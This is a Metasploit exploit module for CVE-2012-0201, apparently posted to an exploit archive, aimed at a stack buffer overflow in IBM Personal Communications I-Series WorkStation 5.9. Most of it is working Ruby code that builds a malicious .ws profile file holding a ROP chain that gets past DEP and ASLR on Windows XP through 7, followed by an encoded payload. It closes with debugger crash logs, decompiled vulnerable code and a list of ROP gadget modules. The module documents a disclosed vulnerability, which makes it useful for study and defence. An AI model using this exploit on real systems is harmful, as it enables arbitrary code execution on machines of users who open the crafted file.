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IBM Personal Communications I-Series Buffer Overflow

Posted on 29 February 2012

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GreatRanking # ASLR+DEP bypass

 include Msf::Exploit::FILEFORMAT

 def initialize(info = {})
 super(update_info(info,
 'Name' => 'IBM Personal Communications I-Series Access WorkStation 5.9 Profile',
 'Description' => %q{
 The IBM Personal Communications I-Series application WorkStation is susceptible to a
 stack-based buffer overflow vulnerability within file parsing in which data copied to a
 location in memory exceeds the size of the reserved destination area. The buffer is located
 on the runtime program stack.

 When the WorkStation file is opened it will reach the code path at 0x67575180 located in
 pcspref.dll which conducts string manipulation and validation on the data supplied in the
 WorkStation file. The application will first check if 'Profile' header exists and appends
 a dot with the next parameter within the file. It will then measure the character length
 of the header by calling strcspn with a dot as its null-terminated character.

 It will then write the header into memory and ensure the header ends with a NUL character.
 The parameter character array is passed to the strcpy() function. The application has
 declared a 52-element character array for the destination for strcpy function. The
 function does not perform bounds checking therefore, data can be written paste the end of
 the buffer variable resulting in corruption of adjacent variables including other local
 variables, program state information and function arguments. You will notice that the
 saved RETURN address at offset 0x6c is overwritten by the data written past the buffer.

 To ensure we can perform arbitrary code execution we must we provide a valid pointer at
 0x74 which is used as a argument for the called function at 0x675751ED as a id file
 extension parameter. Once the caller regains control we will reach our RETURN. The Ret
 instruction will be used to pop the overwritten saved return address which was currupted.

 This exploit has been written to bypass 2 mitigations DEP and ASLR on a Windows platform.

 Versions tested:
 IBM System i Access for Windows V6R1M0 version 06.01.0001.0000a
 Which bundles pcsws.exe version 5090.27271.709

 Tested on:
 Microsoft Windows XP [Version 5.1.2600]
 Microsoft Windows Vista [Version 6.0.6002]
 Microsoft Windows 7 [Version 6.1.7600]
 },
 'License' => MSF_LICENSE,
 'Author' => 'TecR0c <roccogiovannicalvi[at]gmail.com>',# Discovery & Metasploit module
 'Payload' =>
 {
 'Space' => 800,
 'BadChars' => "x00x0ax0dx3d"
 # NUL ''
 # LF '
' (new line)
 # CR '
' (carriage ret)
 # =
 },
 'Platform' => 'win',
 'Targets' =>
 [
 [ 'IBM WorkStation 5.9 (Windows XP SP3)',{} ],
 [ 'IBM WorkStation 5.9 (Windows 7, Windows Vista)',{} ],
 ],
 'References' =>
 [
 ['CVE', '2012-0201'],
 ['URL', 'https://www-304.ibm.com/support/docview.wss?uid=swg21586166']
 ],
 'DisclosureDate' => "Feb 28 2012",
 'DefaultTarget' => 0))

 register_options(
 [
 OptString.new( 'FILENAME', [ true, 'The file name.', 'msf.ws' ]),
 ], self.class)

 end

 def nops(rop=false, n=1)
 return rop ? [0x67A74499] * n : [0x90909090] * n
 end

 def exploit

 if target.name =~ /Windows 7/ # Plus Windows Vista

 virtualprotect =
 [

 # - To get to the VirtualProtect Function

 # Since no Import Address Table (IAT) MS function addresses used to bypass Data Execution
 # Prevention (DEP) are imported within the applications modules which are required as they
 # have the ability to mark a portion of the stack as executable.
 # Also randomization of Windows dll's base addresses due to ASLR from Vista+ are enabled by
 # default. So we cannot directly add the MS function address into our buffer. Therefore, i
 # decided to do a [dereference] on another IAT address (kernel32.terminateprocess) then add
 # the difference between two MS functions in kernel32 to obtain my virtualprotect address so
 # i can still bypass ASLR. The closest i could get to virtualprotect function was 0x10.

 0X641A1EE2,# Removes 0XFFFFFFF0 from stack to EAX for performing calculations
 0XFFFFFFF0,# Address to get added into EAX
 0X641C20C0,# NEG operation to subtracts its operand 0XFFFFFFF0 from zero to set 0x10 in EAX
 0X67202128,# Exchanges the contents of two operands to store our 0x10 into EDX
 0X641A1EE2,# We then want to store our closest IAT address to VirtualProtect() function
 0X63B08084,# This is kernel32.terminateprocess used to get close to VirtualProtect()
 0X6412F404,# We then do a dereference to get the address of kernel32.terminateprocess
 0X6412E9AE,# We add 0x10 to kernel32.terminateprocess to load kernel32.VirtualProtect

 ].pack("V*")

 elsif target.name =~ /XP SP3/

 virtualprotect =
 [

 0X641A1EE2, # We load our VirtualProtect Address into register EAX
 0X7C801AD4, # kernel32.VirtualProtect

 ].pack("V*")
 end

 rop_gadgets_p1 =
 [

 0X67A74498,# Places the next memory address into EDI
 nops(true, 1),
 0X6414C496,# Adds the contents of source operand EAX to the destination operation EBX to set dwSize value

 ].flatten.pack("V*")

 rop_gadgets_p2 =
 [

 0X641EC2D5,# Swaps values to get virtualprotect() into ESI
 0X64164082,# Put 0xFFFFFFC0 into EAX to be subtracted
 0XFFFFFFC0,# Value will be subtracted to calculate NewProtect
 0X641C20C0,# EAX equals NewProtect
 0X67202128,# Swaps values to get NewProtect parameter into EDX
 0X641F2D59,# Put next memory address into ECX
 0X67A85090,# &Writable location
 0X64164082,# Put NOPs into EAX
 nops,
 0X641BFDC2,# PUSHAD all parameters for VirtualProtect

 ].flatten.pack("V*")

 buffer = rand_text_alpha(104)
 buffer << [0X673188A5].pack("V")# Set EBP to a pointer to CALL ESP
 buffer << [0X64164082].pack("V")# Set EAX to nul
 buffer << [0XFFFFFC18].pack("V")# Put 0xFFFFFC18 into EAX to be subtracted to calculate dwSize
 buffer << [0X641C20C0].pack("V")# NEG operation to subtracts its operand 0xFFFFFC18 from zero to set 0x3E8 in EAX
 buffer << rop_gadgets_p1
 buffer << virtualprotect
 buffer << rop_gadgets_p2
 buffer << payload.encoded

 para_value = rand_text_alpha(3)
 eol = "
"

 # We only need the header, malicious parameter with value and file extension to trigger the bug

 file = "[Profile]" << eol
 file << "#{buffer}=#{para_value}" << eol
 file << "ID=WS"

 print_status("Creating '#{datastore['FILENAME']}' file for #{target.name}...")
 file_create(file)
 end

end

=begin
(540.25c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=003d1e49 ebx=77c5f7a0 ecx=00000000 edx=6758bdb0 esi=6758bdb1 edi=41414141
eip=77c483b7 esp=00125360 ebp=0012536c iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:WINDOWSsystem32MSVCRT.dll -
MSVCRT!wcsxfrm+0x125:
77c483b7 8a27 mov ah,byte ptr [edi] ds:0023:41414141=??

ModLoad: 76980000 76988000 C:WINDOWSsystem32LINKINFO.dll
ModLoad: 67310000 67324000 C:Program FilesIBMClient AccessEmulatorPCSWDLG.DLL
(5dc.65c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=00000751 edx=00009240 esi=004018a0 edi=0012faa0
eip=42424242 esp=001254e8 ebp=41414141 iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010212
42424242 ?? ???

signed int __cdecl sub_67575180(const char *HeaderPlusParameter, char *FileExtension, int a3, int a4, int a5)
{
 size_t SizeOfHeader;
 char ParameterName;
 char Dest[52];

 SizeOfHeader = strcspn(HeaderPlusParameter, ".");
 strncpy(Dest, HeaderPlusParameter, SizeOfHeader);
 Dest[SizeOfHeader] = 0;
 strcpy(&ParameterName, &HeaderPlusParameter[SizeOfHeader + 1]);
 return sub_67573D80(FileExtension, Dest, &ParameterName, a3, a5, a4);
}

0:000> da @esp
0012549c "AAAAAAAA. .dAAAAAAAAAAAAAAAAAAAA"
001254bc "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
001254dc "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
001254fc "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012551c "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012553c "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012555c "AA"

ROP gadgets from images
Image name: cwbcore.dll
 Timestamp: Wed Dec 12 04:15:43 2007 (475EC5BF)
 CheckSum: 0011CD4C
 ImageSize: 00118000
 File version: 12.0.0.0
 CompanyName: IBM Corporation
 ProductName: IBM(R) System i(TM) Access for Windows
Image name: PCSXFER.DLL
 Timestamp: Wed Dec 12 04:15:48 2007 (475EC5C4)
 CheckSum: 0007130E
 ImageSize: 0006B000
 File version: 5090.1.7103.892
 CompanyName: IBM Corporation
 ProductName: Personal Communications
Image name: nstrc.dll
 CheckSum: 0000F9D6
 ImageSize: 00009000
 File version: 5090.0.6171.1308
 CompanyName: IBM Corporation
 ProductName: Personal Communications
 FileDescription: Independent Trace Facility
Image name: PCSCTSS.DLL
 Timestamp: Wed Dec 12 04:15:47 2007 (475EC5C3)
 CheckSum: 0001D6EB
 ImageSize: 0007D000
 File version: 5090.1.7103.892
 CompanyName: IBM Corporation
 ProductName: Personal Communications
Image name: PCSWDLG.DLL
 Timestamp: Wed Dec 12 04:15:48 2007 (475EC5C4)
 CheckSum: 0001FCBC
 ImageSize: 00014000
 File version: 5090.1.7103.892
 CompanyName: IBM Corporation
 ProductName: Personal Communications
=end

 

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